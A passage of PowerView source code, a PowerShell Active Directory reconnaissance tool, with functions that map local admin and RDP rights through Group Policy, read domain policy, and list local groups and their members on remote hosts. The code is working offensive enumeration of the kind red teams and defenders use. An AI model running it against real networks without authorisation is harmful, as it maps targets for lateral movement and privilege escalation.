13674 13675 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" 13676 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" 13677 13678 $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { 13679 $GPOgroup = $_ 13680 # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID 13681 if ($GPOgroup.GroupSID -match $TargetLocalSID) { 13682 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { 13683 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { 13684 $GPOgroup 13685 } 13686 } 13687 } 13688 # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs 13689 if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { 13690 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { 13691 $GPOgroup 13692 } 13693 } 13694 } | Sort-Object -Property GPOName -Unique 13695 13696 $GPOgroups | Where-Object {$_} | ForEach-Object { 13697 $GPOname = $_.GPODisplayName 13698 $GPOguid = $_.GPOName 13699 $GPOPath = $_.GPOPath 13700 $GPOType = $_.GPOType 13701 if ($_.GroupMembers) { 13702 $GPOMembers = $_.GroupMembers 13703 } 13704 else { 13705 $GPOMembers = $_.GroupSID 13706 } 13707 13708 $Filters = $_.Filters 13709 13710 if ($TargetSIDs[0] -eq '*') { 13711 # if the * wildcard was used, set the targets to all GPO members so everything it output 13712 $TargetObjectSIDs = $GPOMembers 13713 } 13714 else { 13715 $TargetObjectSIDs = $TargetObjectSID 13716 } 13717 13718 # find any OUs that have this GPO linked through gpLink 13719 Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { 13720 if ($Filters) { 13721 $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname 13722 } 13723 else { 13724 $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname 13725 } 13726 13727 if ($OUComputers) { 13728 if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} 13729 13730 ForEach ($TargetSid in $TargetObjectSIDs) { 13731 $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' 13732 13733 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype 13734 13735 $GPOLocalGroupMapping = New-Object PSObject 13736 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname 13737 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname 13738 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid 13739 $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain 13740 $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup 13741 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname 13742 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid 13743 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath 13744 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType 13745 $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname 13746 $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers 13747 $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') 13748 $GPOLocalGroupMapping 13749 } 13750 } 13751 } 13752 13753 # find any sites that have this GPO linked through gpLink 13754 Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { 13755 ForEach ($TargetSid in $TargetObjectSIDs) { 13756 $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' 13757 13758 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype 13759 13760 $GPOLocalGroupMapping = New-Object PSObject 13761 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname 13762 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname 13763 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid 13764 $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup 13765 $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain 13766 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname 13767 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid 13768 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath 13769 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType 13770 $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname 13771 $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl 13772 $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') 13773 $GPOLocalGroupMapping 13774 } 13775 } 13776 } 13777 } 13778 } 13779 13780 13781 function Get-DomainGPOComputerLocalGroupMapping { 13782 <# 13783 .SYNOPSIS 13784 13785 Takes a computer (or GPO) object and determines what users/groups are in the specified 13786 local group for the machine through GPO correlation. 13787 13788 Author: @harmj0y 13789 License: BSD 3-Clause 13790 Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup 13791 13792 .DESCRIPTION 13793 13794 This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups 13795 are in the specified local group for a target machine through GPO correlation. 13796 13797 If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to 13798 determine the OU the computer is a part of. Then resolve the computer's site name with 13799 Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to 13800 enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For 13801 each resulting GPO group, resolve the resulting user/group name to a full AD object and 13802 return the results. This will return the domain objects that are members of the specified 13803 -LocalGroup for the given computer. 13804 13805 Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and 13806 localgroup specifications. 13807 13808 .PARAMETER ComputerIdentity 13809 13810 A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), 13811 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), 13812 or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. 13813 13814 .PARAMETER OUIdentity 13815 13816 An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or 13817 GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. 13818 13819 .PARAMETER LocalGroup 13820 13821 The local group to check access against. 13822 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), 13823 or a custom local SID. Defaults to local 'Administrators'. 13824 13825 .PARAMETER Domain 13826 13827 Specifies the domain to enumerate GPOs for, defaults to the current domain. 13828 13829 .PARAMETER Server 13830 13831 Specifies an Active Directory server (domain controller) to bind to. 13832 13833 .PARAMETER SearchScope 13834 13835 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 13836 13837 .PARAMETER ResultPageSize 13838 13839 Specifies the PageSize to set for the LDAP searcher object. 13840 13841 .PARAMETER ServerTimeLimit 13842 13843 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 13844 13845 .PARAMETER Tombstone 13846 13847 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 13848 13849 .PARAMETER Credential 13850 13851 A [Management.Automation.PSCredential] object of alternate credentials 13852 for connection to the target domain. 13853 13854 .EXAMPLE 13855 13856 Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local 13857 13858 Finds users who have local admin rights over WINDOWS3 through GPO correlation. 13859 13860 .EXAMPLE 13861 13862 Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP 13863 13864 Finds users who have RDP rights over WINDOWS4 through GPO correlation. 13865 13866 .EXAMPLE 13867 13868 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 13869 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 13870 Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local 13871 13872 .OUTPUTS 13873 13874 PowerView.GGPOComputerLocalGroupMember 13875 #> 13876 13877 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 13878 [OutputType('PowerView.GGPOComputerLocalGroupMember')] 13879 [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] 13880 Param( 13881 [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 13882 [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] 13883 [String] 13884 $ComputerIdentity, 13885 13886 [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] 13887 [Alias('OU')] 13888 [String] 13889 $OUIdentity, 13890 13891 [String] 13892 [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] 13893 $LocalGroup = 'Administrators', 13894 13895 [ValidateNotNullOrEmpty()] 13896 [String] 13897 $Domain, 13898 13899 [ValidateNotNullOrEmpty()] 13900 [Alias('ADSPath')] 13901 [String] 13902 $SearchBase, 13903 13904 [ValidateNotNullOrEmpty()] 13905 [Alias('DomainController')] 13906 [String] 13907 $Server, 13908 13909 [ValidateSet('Base', 'OneLevel', 'Subtree')] 13910 [String] 13911 $SearchScope = 'Subtree', 13912 13913 [ValidateRange(1, 10000)] 13914 [Int] 13915 $ResultPageSize = 200, 13916 13917 [ValidateRange(1, 10000)] 13918 [Int] 13919 $ServerTimeLimit, 13920 13921 [Switch] 13922 $Tombstone, 13923 13924 [Management.Automation.PSCredential] 13925 [Management.Automation.CredentialAttribute()] 13926 $Credential = [Management.Automation.PSCredential]::Empty 13927 ) 13928 13929 BEGIN { 13930 $CommonArguments = @{} 13931 if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } 13932 if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } 13933 if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } 13934 if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } 13935 if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } 13936 if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } 13937 if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } 13938 } 13939 13940 PROCESS { 13941 if ($PSBoundParameters['ComputerIdentity']) { 13942 $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' 13943 13944 if (-not $Computers) { 13945 throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." 13946 } 13947 13948 ForEach ($Computer in $Computers) { 13949 13950 $GPOGuids = @() 13951 13952 # extract any GPOs linked to this computer's OU through gpLink 13953 $DN = $Computer.distinguishedname 13954 $OUIndex = $DN.IndexOf('OU=') 13955 if ($OUIndex -gt 0) { 13956 $OUName = $DN.SubString($OUIndex) 13957 } 13958 if ($OUName) { 13959 $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { 13960 Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } 13961 } 13962 } 13963 13964 # extract any GPOs linked to this computer's site through gpLink 13965 Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" 13966 $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName 13967 if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { 13968 $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { 13969 Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } 13970 } 13971 } 13972 13973 # process any GPO local group settings from the GPO GUID set 13974 $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { 13975 $GPOGroup = $_ 13976 13977 if($GPOGroup.GroupMembers) { 13978 $GPOMembers = $GPOGroup.GroupMembers 13979 } 13980 else { 13981 $GPOMembers = $GPOGroup.GroupSID 13982 } 13983 13984 $GPOMembers | ForEach-Object { 13985 $Object = Get-DomainObject @CommonArguments -Identity $_ 13986 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype 13987 13988 $GPOComputerLocalGroupMember = New-Object PSObject 13989 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname 13990 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname 13991 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname 13992 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ 13993 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup 13994 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName 13995 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName 13996 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath 13997 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType 13998 $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') 13999 $GPOComputerLocalGroupMember 14000 } 14001 } 14002 } 14003 } 14004 } 14005 } 14006 14007 14008 function Get-DomainPolicyData { 14009 <# 14010 .SYNOPSIS 14011 14012 Returns the default domain policy or the domain controller policy for the current 14013 domain or a specified domain/domain controller. 14014 14015 Author: Will Schroeder (@harmj0y) 14016 License: BSD 3-Clause 14017 Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID 14018 14019 .DESCRIPTION 14020 14021 Returns the default domain policy or the domain controller policy for the current 14022 domain or a specified domain/domain controller using Get-DomainGPO. 14023 14024 .PARAMETER Domain 14025 14026 The domain to query for default policies, defaults to the current domain. 14027 14028 .PARAMETER Policy 14029 14030 Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. 14031 Otherwise queries for the particular GPO name or GUID. 14032 14033 .PARAMETER Server 14034 14035 Specifies an Active Directory server (domain controller) to bind to. 14036 14037 .PARAMETER ServerTimeLimit 14038 14039 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 14040 14041 .PARAMETER Credential 14042 14043 A [Management.Automation.PSCredential] object of alternate credentials 14044 for connection to the target domain. 14045 14046 .EXAMPLE 14047 14048 Get-DomainPolicyData 14049 14050 Returns the default domain policy for the current domain. 14051 14052 .EXAMPLE 14053 14054 Get-DomainPolicyData -Domain dev.testlab.local 14055 14056 Returns the default domain policy for the dev.testlab.local domain. 14057 14058 .EXAMPLE 14059 14060 Get-DomainGPO | Get-DomainPolicy 14061 14062 Parses any GptTmpl.infs found for any policies in the current domain. 14063 14064 .EXAMPLE 14065 14066 Get-DomainPolicyData -Policy DC -Domain dev.testlab.local 14067 14068 Returns the policy for the dev.testlab.local domain controller. 14069 14070 .EXAMPLE 14071 14072 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 14073 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 14074 Get-DomainPolicyData -Credential $Cred 14075 14076 .OUTPUTS 14077 14078 Hashtable 14079 14080 Ouputs a hashtable representing the parsed GptTmpl.inf file. 14081 #> 14082 14083 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 14084 [OutputType([Hashtable])] 14085 [CmdletBinding()] 14086 Param( 14087 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 14088 [Alias('Source', 'Name')] 14089 [String] 14090 $Policy = 'Domain', 14091 14092 [ValidateNotNullOrEmpty()] 14093 [String] 14094 $Domain, 14095 14096 [ValidateNotNullOrEmpty()] 14097 [Alias('DomainController')] 14098 [String] 14099 $Server, 14100 14101 [ValidateRange(1, 10000)] 14102 [Int] 14103 $ServerTimeLimit, 14104 14105 [Management.Automation.PSCredential] 14106 [Management.Automation.CredentialAttribute()] 14107 $Credential = [Management.Automation.PSCredential]::Empty 14108 ) 14109 14110 BEGIN { 14111 $SearcherArguments = @{} 14112 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 14113 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 14114 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 14115 14116 $ConvertArguments = @{} 14117 if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } 14118 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } 14119 } 14120 14121 PROCESS { 14122 if ($PSBoundParameters['Domain']) { 14123 $SearcherArguments['Domain'] = $Domain 14124 $ConvertArguments['Domain'] = $Domain 14125 } 14126 14127 if ($Policy -eq 'All') { 14128 $SearcherArguments['Identity'] = '*' 14129 } 14130 elseif ($Policy -eq 'Domain') { 14131 $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' 14132 } 14133 elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { 14134 $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' 14135 } 14136 else { 14137 $SearcherArguments['Identity'] = $Policy 14138 } 14139 14140 $GPOResults = Get-DomainGPO @SearcherArguments 14141 14142 ForEach ($GPO in $GPOResults) { 14143 # grab the GptTmpl.inf file and parse it 14144 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" 14145 14146 $ParseArgs = @{ 14147 'GptTmplPath' = $GptTmplPath 14148 'OutputObject' = $True 14149 } 14150 if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } 14151 14152 # parse the GptTmpl.inf 14153 Get-GptTmpl @ParseArgs | ForEach-Object { 14154 $_ | Add-Member Noteproperty 'GPOName' $GPO.name 14155 $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname 14156 $_ 14157 } 14158 } 14159 } 14160 } 14161 14162 14163 ######################################################## 14164 # 14165 # Functions that enumerate a single host, either through 14166 # WinNT, WMI, remote registry, or API calls 14167 # (with PSReflect). 14168 # 14169 ######################################################## 14170 14171 function Get-NetLocalGroup { 14172 <# 14173 .SYNOPSIS 14174 14175 Enumerates the local groups on the local (or remote) machine. 14176 14177 Author: Will Schroeder (@harmj0y) 14178 License: BSD 3-Clause 14179 Required Dependencies: PSReflect 14180 14181 .DESCRIPTION 14182 14183 This function will enumerate the names and descriptions for the 14184 local groups on the current, or remote, machine. By default, the Win32 API 14185 call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" 14186 causes the WinNT service provider to be used instead, which returns group 14187 SIDs along with the group names and descriptions/comments. 14188 14189 .PARAMETER ComputerName 14190 14191 Specifies the hostname to query for sessions (also accepts IP addresses). 14192 Defaults to the localhost. 14193 14194 .PARAMETER Method 14195 14196 The collection method to use, defaults to 'API', also accepts 'WinNT'. 14197 14198 .PARAMETER Credential 14199 14200 A [Management.Automation.PSCredential] object of alternate credentials 14201 for connection to a remote machine. Only applicable with "-Method WinNT". 14202 14203 .EXAMPLE 14204 14205 Get-NetLocalGroup 14206 14207 ComputerName GroupName Comment 14208 ------------ --------- ------- 14209 WINDOWS1 Administrators Administrators have comple... 14210 WINDOWS1 Backup Operators Backup Operators can overr... 14211 WINDOWS1 Cryptographic Operators Members are authorized to ... 14212 ... 14213 14214 .EXAMPLE 14215 14216 Get-NetLocalGroup -Method Winnt 14217 14218 ComputerName GroupName GroupSID Comment 14219 ------------ --------- -------- ------- 14220 WINDOWS1 Administrators S-1-5-32-544 Administrators hav... 14221 WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... 14222 WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... 14223 ... 14224 14225 .EXAMPLE 14226 14227 Get-NetLocalGroup -ComputerName primary.testlab.local 14228 14229 ComputerName GroupName Comment 14230 ------------ --------- ------- 14231 primary.testlab.local Administrators Administrators have comple... 14232 primary.testlab.local Users Users are prevented from m... 14233 primary.testlab.local Guests Guests have the same acces... 14234 primary.testlab.local Print Operators Members can administer dom... 14235 primary.testlab.local Backup Operators Backup Operators can overr... 14236 14237 .OUTPUTS 14238 14239 PowerView.LocalGroup.API 14240 14241 Custom PSObject with translated group property fields from API results. 14242 14243 PowerView.LocalGroup.WinNT 14244 14245 Custom PSObject with translated group property fields from WinNT results. 14246 14247 .LINK 14248 14249 https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx 14250 #> 14251 14252 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 14253 [OutputType('PowerView.LocalGroup.API')] 14254 [OutputType('PowerView.LocalGroup.WinNT')] 14255 [CmdletBinding()] 14256 Param( 14257 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 14258 [Alias('HostName', 'dnshostname', 'name')] 14259 [ValidateNotNullOrEmpty()] 14260 [String[]] 14261 $ComputerName = $Env:COMPUTERNAME, 14262 14263 [ValidateSet('API', 'WinNT')] 14264 [Alias('CollectionMethod')] 14265 [String] 14266 $Method = 'API', 14267 14268 [Management.Automation.PSCredential] 14269 [Management.Automation.CredentialAttribute()] 14270 $Credential = [Management.Automation.PSCredential]::Empty 14271 ) 14272 14273 BEGIN { 14274 if ($PSBoundParameters['Credential']) { 14275 $LogonToken = Invoke-UserImpersonation -Credential $Credential 14276 } 14277 } 14278 14279 PROCESS { 14280 ForEach ($Computer in $ComputerName) { 14281 if ($Method -eq 'API') { 14282 # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information 14283 14284 # arguments for NetLocalGroupEnum 14285 $QueryLevel = 1 14286 $PtrInfo = [IntPtr]::Zero 14287 $EntriesRead = 0 14288 $TotalRead = 0 14289 $ResumeHandle = 0 14290 14291 # get the local user information 14292 $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 14293 14294 # locate the offset of the initial intPtr 14295 $Offset = $PtrInfo.ToInt64() 14296 14297 # 0 = success 14298 if (($Result -eq 0) -and ($Offset -gt 0)) { 14299 14300 # Work out how much to increment the pointer by finding out the size of the structure 14301 $Increment = $LOCALGROUP_INFO_1::GetSize() 14302 14303 # parse all the result structures 14304 for ($i = 0; ($i -lt $EntriesRead); $i++) { 14305 # create a new int ptr at the given offset and cast the pointer as our result structure 14306 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 14307 $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 14308 14309 $Offset = $NewIntPtr.ToInt64() 14310 $Offset += $Increment 14311 14312 $LocalGroup = New-Object PSObject 14313 $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer 14314 $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name 14315 $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment 14316 $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') 14317 $LocalGroup 14318 } 14319 # free up the result buffer 14320 $Null = $Netapi32::NetApiBufferFree($PtrInfo) 14321 } 14322 else { 14323 Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" 14324 } 14325 } 14326 else { 14327 # otherwise we're using the WinNT service provider 14328 $ComputerProvider = [ADSI]"WinNT://$Computer,computer" 14329 14330 $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { 14331 $LocalGroup = ([ADSI]$_) 14332 $Group = New-Object PSObject 14333 $Group | Add-Member Noteproperty 'ComputerName' $Computer 14334 $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) 14335 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) 14336 $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) 14337 $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') 14338 $Group 14339 } 14340 } 14341 } 14342 } 14343 14344 END { 14345 if ($LogonToken) { 14346 Invoke-RevertToSelf -TokenHandle $LogonToken 14347 } 14348 } 14349 } 14350 14351 14352 function Get-NetLocalGroupMember { 14353 <# 14354 .SYNOPSIS 14355 14356 Enumerates members of a specific local group on the local (or remote) machine. 14357 14358 Author: Will Schroeder (@harmj0y) 14359 License: BSD 3-Clause 14360 Required Dependencies: PSReflect, Convert-ADName 14361 14362 .DESCRIPTION 14363 14364 This function will enumerate the members of a specified local group on the 14365 current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers 14366 will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider 14367 to be used instead, which returns a larger amount of information. 14368 14369 .PARAMETER ComputerName 14370 14371 Specifies the hostname to query for sessions (also accepts IP addresses). 14372 Defaults to the localhost. 14373 14374 .PARAMETER GroupName 14375 14376 The local group name to query for users. If not given, it defaults to "Administrators". 14377 14378 .PARAMETER Method 14379 14380 The collection method to use, defaults to 'API', also accepts 'WinNT'. 14381 14382 .PARAMETER Credential 14383 14384 A [Management.Automation.PSCredential] object of alternate credentials 14385 for connection to a remote machine. Only applicable with "-Method WinNT". 14386 14387 .EXAMPLE 14388 14389 Get-NetLocalGroupMember | ft 14390 14391 ComputerName GroupName MemberName SID IsGroup IsDomain 14392 ------------ --------- ---------- --- ------- -------- 14393 WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False 14394 WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False 14395 WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True 14396 WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True 14397 14398 .EXAMPLE 14399 14400 Get-NetLocalGroupMember -Method winnt | ft 14401 14402 ComputerName GroupName MemberName SID IsGroup IsDomain 14403 ------------ --------- ---------- --- ------- -------- 14404 WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False 14405 WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False 14406 WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True 14407 WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True 14408 14409 .EXAMPLE 14410 14411 Get-NetLocalGroup | Get-NetLocalGroupMember | ft 14412 14413 ComputerName GroupName MemberName SID IsGroup IsDomain 14414 ------------ --------- ---------- --- ------- -------- 14415 WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False 14416 WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False 14417 WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True 14418 WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True 14419 WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False 14420 WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False 14421 WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False 14422 WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False 14423 WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN 14424 WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN 14425 14426 .EXAMPLE 14427 14428 Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft 14429 14430 ComputerName GroupName MemberName SID IsGroup IsDomain 14431 ------------ --------- ---------- --- ------- -------- 14432 primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False 14433 primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False 14434 primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False 14435 primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False 14436 14437 .OUTPUTS 14438 14439 PowerView.LocalGroupMember.API 14440 14441 Custom PSObject with translated group property fields from API results. 14442 14443 